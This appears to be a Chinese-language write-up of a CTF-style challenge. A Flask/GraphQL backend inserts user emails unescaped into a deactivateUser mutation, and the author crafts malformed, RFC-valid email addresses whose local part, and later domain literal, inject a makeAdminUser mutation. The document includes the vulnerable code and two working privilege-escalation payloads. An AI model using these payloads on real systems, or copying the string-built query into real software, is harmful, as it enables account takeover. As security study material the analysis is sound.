part 1
服务器会每段时间禁用已注册的账号,此处存在漏洞
def deactivate_user_graphql(email):
graphql_endpoint = current_app.config["GRAPHQL_ENDPOINT"]
query = f"""
mutation {{
deactivateUser (user: {{email: "{email}"}}){{
success
}}
}}
"""
服务器后端拥有一个提升权限的功能
# 设为管理员的Mutation
class MakeAdminUser(Mutation):
class Meta:
description = "Mutation to make a user an admin" # 设为管理员的描述
class Arguments:
user = UserInput(required=True) # 必须提供用户输入
success = Boolean() # 是否成功
message = String() # 返回信息
def mutate(self, info, user):
# 权限校验
if (
not info.context.headers.get("Key")
== current_app.config["SERVICE_TOKEN_KEY"]
):
return MakeAdminUser(success=False, message="Unauthorized")
# 查找用户
db_user = None
if user.get("id") is not None:
db_user = User.query.filter_by(id=user.get("id")).first()
elif user.get("email") is not None:
db_user = User.query.filter_by(email=user.get("email")).first()
if not db_user:
return MakeAdminUser(success=False, message="User not found")
db_user.is_admin = True # 设为管理员
db.session.commit()
return MakeAdminUser(success=True, message="User made admin successfully")
根据 RFC 规范,电子邮件地址的本地部分(@ 前的部分)可以包含以下字符:
- 大小写字母 (a-z, A-Z)
- 数字 (0-9)
- 特殊字符:!#$%&'*±/=?^_{|}~`
- 使用引号括起来的字符串,可以包含空格和更多特殊字符
由此写出
"}){success}makeAdminUser(user: {id: 1}){#"@a.com
part 2
我们无法再传递id为参数,我们无法再利用邮箱前方,但是可以构造畸形的域名
a@["}) { success } makeAdminUser(user: {email: "(\")a@b.c"}) { #].c